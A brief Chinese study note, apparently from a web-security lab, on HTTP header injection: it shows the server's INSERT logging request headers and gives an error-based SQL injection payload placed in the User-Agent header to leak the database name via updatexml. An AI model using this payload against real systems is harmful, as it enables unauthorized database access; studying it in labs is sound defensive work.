http头注入:
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('','192.168.1.166','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','15111')
刷新进行抓包:
payload
User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or'